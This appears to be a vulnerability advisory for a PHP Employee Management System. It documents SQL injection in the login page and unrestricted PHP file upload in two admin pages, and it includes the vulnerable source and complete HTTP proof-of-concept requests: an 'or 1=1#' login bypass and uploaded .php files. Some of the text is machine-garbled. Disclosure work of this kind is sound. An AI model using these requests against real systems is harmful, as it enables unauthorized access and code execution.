| विवरण | Vulnerability description
Employee Management System is a PHP project that makes it easy for your employer to work and manage all employees within the company. This simple project was developed using the following methods: PHP, MySQLi, CSS, and Java. This system is useful for large companies with large numbers of employees to help you organize and maintain your respective roles. The system consists of two users: administrators and employees, the administrative role is to monitor and manage the details of all employees, while employees can submit their completed projects and request leave.
Asset mapping
"app-assets/vendors/css/toastr.css" && "Employee/index.php"
Vulnerability description
The Account login is injected
The vulnerability file is located under /Account/login.php
<? php
include('.. /inc/topbar.php');
if(isset($_POST['btnlogin'])){
//Get Date
date_default_timezone_set('Africa/Lagos');
$current_date = date('Y-m-d h:i:s');
$phone = $_POST['txtphone'];
$password = $_POST['txtpassword'];
$status = 'Active';
$sql = "SELECT * FROM tblemployee WHERE phone = '$phone' AND password = '$password' AND status = 'Active'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
// output data of each row
($row = mysqli_fetch_assoc($result));
$_SESSION["login_email"] = $row['phone'];
header("Location: .. /Employee/index.php");
}else {
$_SESSION['error']=' Wrong phone Number and Password';
}
}
? >
This is the relevant code, which obviously does not filter the received value and concatenates it into the Sql statement
POC
POST /Account/login.php HTTP/2
Content-Length: 64
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand"; v="99", "Brave"; v="133", "Chromium"; v="133"
Sec-Ch-Ua-Mobile: ? 0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8
Sec-Gpc: 1
Accept-Language: zh-CN,zh; Q = 0.5
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ? one
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
txtphone=1%27+or+1%3D1%23&txtpassword=1%27+or+1%3D1%23&btnlogin=
Click Log in to jump to /Employee/index.php
Unauthorized upload of any file
The vulnerability files are located in Admin/add-admin.php and Admin/edit-photo.php
Modify the code, the two codes are pretty much the difference is that they're stored in different paths one /uploadImage/Profile/, the other /uploadImage/, and then verify a file type, there's no validate file suffix, The other thing is to verify that there is no admin-username in the SESSION and then return to the login interface, but this is not strict, only the header function does not prohibit the code to execute down so we don't need to manage
<? php
include('.. /inc/topbar.php');
if(empty($_SESSION['admin-username']))
{
header("Location: login.php");
}
if(isset($_POST["btncreate"]))
{
$username = $_POST['txtusername'];
$name = $_POST['txtfullname'];
$password = $_POST['txtpassword'];
$phone = $_POST['txtphone'];
$file_type = $_FILES['avatar']['type']; //returns the mimetype
$allowed = array("image/jpg", "image/gif","image/jpeg", "image/webp","image/png");
if(! in_array($file_type, $allowed)) {
$_SESSION['error'] ='Only jpg,jpeg,Webp, gif, and png files are allowed. ';
// exit();
}else{
$image= addslashes(file_get_contents($_FILES['avatar']['tmp_name']));
$image_name= addslashes($_FILES['avatar']['name']);
$image_size= getimagesize($_FILES['avatar']['tmp_name']);
move_uploaded_file($_FILES["avatar"]["tmp_name"],".. /uploadImage/Profile/" . $_FILES["avatar"]["name"]);
$location="uploadImage/Profile/" . $_FILES["avatar"]["name"];
Poc
The first place
POST /Admin/add-admin.php HTTP/2
Host: ****
Content-Length: 309
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand"; v="99", "Brave"; v="133", "Chromium"; v="133"
Sec-Ch-Ua-Mobile: ? 0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://****
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryARq9khTJbVBhiSPy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8
Sec-Gpc: 1
Accept-Language: zh-CN,zh; Q = 0.5
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ? one
Sec-Fetch-Dest: document
Referer: https://*****/Admin/add-admin.php
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryARq9khTJbVBhiSPy
Content-Disposition: form-data; name="avatar"; filename="111111.php"
Content-Type: image/png
<? php echo md5(123456); ? >
------WebKitFormBoundaryARq9khTJbVBhiSPy
Content-Disposition: form-data; name="btncreate"
------WebKitFormBoundaryARq9khTJbVBhiSPy--
You can see that although we're not returning anything, any Location: login.php to the login screen, we're just going to access that file
Path is/uploadImage/Profile / 111111. PHP
The second place
POST /Admin/edit-photo.php HTTP/2
Content-Length: 309
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand"; v="99", "Brave"; v="133", "Chromium"; v="133"
Sec-Ch-Ua-Mobile: ? 0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryARq9khTJbVBhiSPy
Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8
Sec-Gpc: 1
Accept-Language: zh-CN,zh; Q = 0.5
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ? one
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundaryARq9khTJbVBhiSPy
Content-Disposition: form-data; name="avatar"; filename="222222.php"
Content-Type: image/png
<? php echo md5(123456); ? >
------WebKitFormBoundaryARq9khTJbVBhiSPy
Content-Disposition: form-data; name="btnsave"
------WebKitFormBoundaryARq9khTJbVBhiSPy--
As you can see, the return is similar to the first one, but we also access the target file directly
The directory is /uploadImage/222222.php |
|---|